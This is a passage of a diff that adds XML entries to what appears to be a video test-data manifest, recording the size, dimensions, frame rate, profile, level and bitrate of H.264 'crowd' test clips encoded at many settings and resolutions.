+    <value>mime=video/avc,size=464596,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5791544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_nowtpredp_hp.mp4">
+    <value>mime=video/avc,size=460757,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5743584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_placebo_hp.mp4">
+    <value>mime=video/avc,size=451986,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5633896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty16_hp.mp4">
+    <value>mime=video/avc,size=1173199,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=14649080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_qlty51_hp.mp4">
+    <value>mime=video/avc,size=10607,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=116680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp47cqp12_hp.mp4">
+    <value>mime=video/avc,size=48766,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=593680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51cqp6_hp.mp4">
+    <value>mime=video/avc,size=28103,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=335368,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_qp51_hp.mp4">
+    <value>mime=video/avc,size=28667,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=342432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref16_hp.mp4">
+    <value>mime=video/avc,size=457790,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5706472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref1_hp.mp4">
+    <value>mime=video/avc,size=461396,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5751560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_ref4_hp.mp4">
+    <value>mime=video/avc,size=460091,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_sfast_hp.mp4">
+    <value>mime=video/avc,size=464885,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5795080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_slower_hp.mp4">
+    <value>mime=video/avc,size=461910,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5757968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_slow_hp.mp4">
+    <value>mime=video/avc,size=463546,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5778432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_spatialdirect_hp.mp4">
+    <value>mime=video/avc,size=466977,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5822120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid1_hp.mp4">
+    <value>mime=video/avc,size=460055,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_spsppsid31_hp.mp4">
+    <value>mime=video/avc,size=460090,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5735224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_temporaldirect_hp.mp4">
+    <value>mime=video/avc,size=466195,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5812360,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_tff_hp.mp4">
+    <value>mime=video/avc,size=470027,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5859432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_ufast_hp.mp4">
+    <value>mime=video/avc,size=1202579,width=854,height=480,frame-rate=50,profile=1,level=512,bitrate=15020112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_vfast_hp.mp4">
+    <value>mime=video/avc,size=421814,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5256800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_vslow_hp.mp4">
+    <value>mime=video/avc,size=445203,width=854,height=480,frame-rate=50,profile=8,level=2048,bitrate=5549112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_wtpredp1_hp.mp4">
+    <value>mime=video/avc,size=460786,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5743920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/params/crowd_854x480p50f32/crowd_854x480p50f32_wtpredp2_hp.mp4">
+    <value>mime=video/avc,size=460055,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5734824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1024x1024p50f32_4100kbps_hp.mp4">
+    <value>mime=video/avc,size=368635,width=1024,height=1024,frame-rate=50,profile=8,level=1024,bitrate=4591984,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1024x576p50f32_2300kbps_hp.mp4">
+    <value>mime=video/avc,size=194284,width=1024,height=576,frame-rate=50,profile=8,level=1024,bitrate=2412608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1024x768p50f32_3100kbps_hp.mp4">
+    <value>mime=video/avc,size=271109,width=1024,height=768,frame-rate=50,profile=8,level=1024,bitrate=3372920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1080x1440p50f32_6200kbps_hp.mp4">
+    <value>mime=video/avc,size=583734,width=1080,height=1440,frame-rate=50,profile=8,level=8192,bitrate=7280712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1080x16p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13486,width=1080,height=16,frame-rate=50,profile=8,level=64,bitrate=154232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1080x1920p50f32_8200kbps_hp.mp4">
+    <value>mime=video/avc,size=790162,width=1080,height=1920,frame-rate=50,profile=8,level=8192,bitrate=9861056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1080x64p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13919,width=1080,height=64,frame-rate=50,profile=8,level=64,bitrate=158336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1088x1920p50f32_8300kbps_hp.mp4">
+    <value>mime=video/avc,size=800365,width=1088,height=1920,frame-rate=50,profile=8,level=8192,bitrate=9988608,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1152x2048p50f32_9400kbps_hp.mp4">
+    <value>mime=video/avc,size=933224,width=1152,height=2048,frame-rate=50,profile=8,level=16384,bitrate=11649344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x1280p50f32_6500kbps_hp.mp4">
+    <value>mime=video/avc,size=583870,width=1280,height=1280,frame-rate=50,profile=8,level=8192,bitrate=7282424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x16p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12926,width=1280,height=16,frame-rate=50,profile=8,level=128,bitrate=147144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x1920p50f32_9800kbps_hp.mp4">
+    <value>mime=video/avc,size=980466,width=1280,height=1920,frame-rate=50,profile=8,level=16384,bitrate=12239872,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x64p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20005,width=1280,height=64,frame-rate=50,profile=8,level=128,bitrate=234520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x720p50f32_3600kbps_hp.mp4">
+    <value>mime=video/avc,size=324330,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4038184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1280x960p50f32_4900kbps_hp.mp4">
+    <value>mime=video/avc,size=451463,width=1280,height=960,frame-rate=50,profile=8,level=2048,bitrate=5627344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_128x128p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12345,width=128,height=128,frame-rate=50,profile=8,level=8,bitrate=138584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_128x192p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12489,width=128,height=192,frame-rate=50,profile=8,level=8,bitrate=140384,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_128x72p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12215,width=128,height=72,frame-rate=50,profile=8,level=8,bitrate=137544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_128x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12431,width=128,height=96,frame-rate=50,profile=8,level=8,bitrate=140456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1440x1080p50f32_6200kbps_hp.mp4">
+    <value>mime=video/avc,size=594442,width=1440,height=1080,frame-rate=50,profile=8,level=8192,bitrate=7414560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1440x1440p50f32_8200kbps_hp.mp4">
+    <value>mime=video/avc,size=781480,width=1440,height=1440,frame-rate=50,profile=8,level=8192,bitrate=9752544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1440x1920p50f32_11000kbps_hp.mp4">
+    <value>mime=video/avc,size=1133768,width=1440,height=1920,frame-rate=50,profile=8,level=16384,bitrate=14156144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1440x2560p50f32_14700kbps_hp.mp4">
+    <value>mime=video/avc,size=1342387,width=1440,height=2560,frame-rate=50,profile=8,level=32768,bitrate=16763880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1440x960p50f32_5500kbps_hp.mp4">
+    <value>mime=video/avc,size=518969,width=1440,height=960,frame-rate=50,profile=8,level=8192,bitrate=6471168,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_144x144p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12028,width=144,height=144,frame-rate=50,profile=8,level=8,bitrate=135024,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_144x176p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12653,width=144,height=176,frame-rate=50,profile=8,level=8,bitrate=142536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_144x192p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12663,width=144,height=192,frame-rate=50,profile=8,level=8,bitrate=142760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_144x256p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12832,width=144,height=256,frame-rate=50,profile=8,level=16,bitrate=144968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_144x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12412,width=144,height=96,frame-rate=50,profile=8,level=8,bitrate=140224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1536x2048p50f32_12500kbps_hp.mp4">
+    <value>mime=video/avc,size=1337277,width=1536,height=2048,frame-rate=50,profile=8,level=32768,bitrate=16700008,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_160x240p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12950,width=160,height=240,frame-rate=50,profile=8,level=16,bitrate=146344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_16x1080p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12553,width=16,height=1080,frame-rate=50,profile=8,level=64,bitrate=141272,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_16x1280p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12201,width=16,height=1280,frame-rate=50,profile=8,level=128,bitrate=136584,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_16x16p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=5432,width=16,height=16,frame-rate=50,profile=8,level=8,bitrate=54680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_16x1920p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12792,width=16,height=1920,frame-rate=50,profile=8,level=512,bitrate=143968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_16x720p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12582,width=16,height=720,frame-rate=50,profile=8,level=8,bitrate=142144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_176x144p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12498,width=176,height=144,frame-rate=50,profile=8,level=8,bitrate=140800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_176x176p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12980,width=176,height=176,frame-rate=50,profile=8,level=16,bitrate=146624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_176x96p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12558,width=176,height=96,frame-rate=50,profile=8,level=8,bitrate=142344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x1080p50f32_8200kbps_hp.mp4">
+    <value>mime=video/avc,size=829959,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=10358520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x1088p50f32_8300kbps_hp.mp4">
+    <value>mime=video/avc,size=838433,width=1920,height=1088,frame-rate=50,profile=8,level=8192,bitrate=10464456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x1280p50f32_9800kbps_hp.mp4">
+    <value>mime=video/avc,size=980030,width=1920,height=1280,frame-rate=50,profile=8,level=16384,bitrate=12234424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x1440p50f32_11000kbps_hp.mp4">
+    <value>mime=video/avc,size=1136161,width=1920,height=1440,frame-rate=50,profile=8,level=16384,bitrate=14186056,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x16p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12413,width=1920,height=16,frame-rate=50,profile=8,level=512,bitrate=139336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x1920p50f32_14700kbps_hp.mp4">
+    <value>mime=video/avc,size=1652030,width=1920,height=1920,frame-rate=50,profile=8,level=32768,bitrate=20634424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x2560p50f32_19600kbps_hp.mp4">
+    <value>mime=video/avc,size=1897247,width=1920,height=2560,frame-rate=50,profile=8,level=32768,bitrate=23699632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_1920x64p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=25296,width=1920,height=64,frame-rate=50,profile=8,level=512,bitrate=300256,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_192x128p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12433,width=192,height=128,frame-rate=50,profile=8,level=8,bitrate=139880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_192x144p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12696,width=192,height=144,frame-rate=50,profile=8,level=8,bitrate=144472,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_192x192p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12709,width=192,height=192,frame-rate=50,profile=8,level=16,bitrate=142936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_192x256p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13039,width=192,height=256,frame-rate=50,profile=8,level=16,bitrate=147456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_192x288p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12910,width=192,height=288,frame-rate=50,profile=8,level=16,bitrate=145648,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2048x1152p50f32_9400kbps_hp.mp4">
+    <value>mime=video/avc,size=928752,width=2048,height=1152,frame-rate=50,profile=8,level=16384,bitrate=11593448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2048x1536p50f32_12500kbps_hp.mp4">
+    <value>mime=video/avc,size=1340894,width=2048,height=1536,frame-rate=50,profile=8,level=32768,bitrate=16745224,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2048x2048p50f32_16700kbps_hp.mp4">
+    <value>mime=video/avc,size=1958474,width=2048,height=2048,frame-rate=50,profile=8,level=32768,bitrate=24464968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2160x3840p50f32_24000kbps_hp.mp4">
+    <value>mime=video/avc,size=2721985,width=2160,height=3840,frame-rate=50,profile=8,level=65536,bitrate=34008856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_216x288p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13138,width=216,height=288,frame-rate=50,profile=8,level=64,bitrate=148880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_240x160p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12731,width=240,height=160,frame-rate=50,profile=8,level=16,bitrate=143312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_240x240p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13044,width=240,height=240,frame-rate=50,profile=8,level=16,bitrate=147520,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_240x320p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20023,width=240,height=320,frame-rate=50,profile=8,level=64,bitrate=234560,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_240x360p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20118,width=240,height=360,frame-rate=50,profile=8,level=64,bitrate=235632,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_24x32p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=8282,width=24,height=32,frame-rate=50,profile=8,level=8,bitrate=89296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2560x1440p50f32_14700kbps_hp.mp4">
+    <value>mime=video/avc,size=1664720,width=2560,height=1440,frame-rate=50,profile=8,level=32768,bitrate=20793048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2560x1920p50f32_19600kbps_hp.mp4">
+    <value>mime=video/avc,size=2434984,width=2560,height=1920,frame-rate=50,profile=8,level=32768,bitrate=30421344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_2560x2560p50f32_24000kbps_hp.mp4">
+    <value>mime=video/avc,size=2516524,width=2560,height=2560,frame-rate=50,profile=8,level=65536,bitrate=31440600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_256x144p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12775,width=256,height=144,frame-rate=50,profile=8,level=16,bitrate=143760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_256x192p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12893,width=256,height=192,frame-rate=50,profile=8,level=16,bitrate=145536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_256x256p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13079,width=256,height=256,frame-rate=50,profile=8,level=64,bitrate=148048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_264x352p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20139,width=264,height=352,frame-rate=50,profile=8,level=64,bitrate=235880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_288x192p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=12708,width=288,height=192,frame-rate=50,profile=8,level=16,bitrate=143120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_288x216p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=13151,width=288,height=216,frame-rate=50,profile=8,level=64,bitrate=149048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_288x288p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20014,width=288,height=288,frame-rate=50,profile=8,level=64,bitrate=234832,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_288x352p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=27315,width=288,height=352,frame-rate=50,profile=8,level=64,bitrate=325800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_288x512p50f32_500kbps_hp.mp4">
+    <value>mime=video/avc,size=35240,width=288,height=512,frame-rate=50,profile=8,level=256,bitrate=424656,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_320x240p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=19925,width=320,height=240,frame-rate=50,profile=8,level=64,bitrate=233336,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_320x320p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=28242,width=320,height=320,frame-rate=50,profile=8,level=128,bitrate=337880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_320x480p50f32_600kbps_hp.mp4">
+    <value>mime=video/avc,size=42565,width=320,height=480,frame-rate=50,profile=8,level=256,bitrate=516320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_32x24p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=8422,width=32,height=24,frame-rate=50,profile=8,level=8,bitrate=93096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_32x32p50f32_200kbps_hp.mp4">
+    <value>mime=video/avc,size=8897,width=32,height=32,frame-rate=50,profile=8,level=8,bitrate=99048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_350x350p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=27394,width=350,height=350,frame-rate=50,profile=8,level=256,bitrate=326768,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_352x264p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20029,width=352,height=264,frame-rate=50,profile=8,level=64,bitrate=235112,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_352x288p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=27162,width=352,height=288,frame-rate=50,profile=8,level=64,bitrate=324480,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_352x352p50f32_400kbps_hp.mp4">
+    <value>mime=video/avc,size=28294,width=352,height=352,frame-rate=50,profile=8,level=256,bitrate=338232,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_356x638p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66709,width=356,height=638,frame-rate=50,profile=8,level=512,bitrate=817912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_356x640p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66794,width=356,height=640,frame-rate=50,profile=8,level=512,bitrate=818968,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_358x636p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=67051,width=358,height=636,frame-rate=50,profile=8,level=512,bitrate=822184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_358x640p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66501,width=358,height=640,frame-rate=50,profile=8,level=512,bitrate=815312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x240p50f32_300kbps_hp.mp4">
+    <value>mime=video/avc,size=20152,width=360,height=240,frame-rate=50,profile=8,level=64,bitrate=236456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x360p50f32_500kbps_hp.mp4">
+    <value>mime=video/avc,size=35566,width=360,height=360,frame-rate=50,profile=8,level=256,bitrate=428920,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x480p50f32_600kbps_hp.mp4">
+    <value>mime=video/avc,size=42816,width=360,height=480,frame-rate=50,profile=8,level=256,bitrate=519344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x636p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66599,width=360,height=636,frame-rate=50,profile=8,level=512,bitrate=816536,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x638p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66500,width=360,height=638,frame-rate=50,profile=8,level=512,bitrate=815296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_360x640p50f32_900kbps_hp.mp4">
+    <value>mime=video/avc,size=66276,width=360,height=640,frame-rate=50,profile=8,level=512,bitrate=812496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_3840x2560p50f32_24000kbps_hp.mp4">
+    <value>mime=video/avc,size=2783733,width=3840,height=2560,frame-rate=50,profile=8,level=65536,bitrate=34780712,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_384x512p50f32_700kbps_hp.mp4">
+    <value>mime=video/avc,size=51007,width=384,height=512,frame-rate=50,profile=8,level=256,bitrate=621744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/resolutions/crowd_4096x2304p50f32_24000kbps_hp.mp4">
+    <value>mime=video/avc,size=2751610,width=4096,height=2304,frame-rate=50,profile=8,level=65536,bitrate=34379168,max-bitrate=</value>
+  </entry>
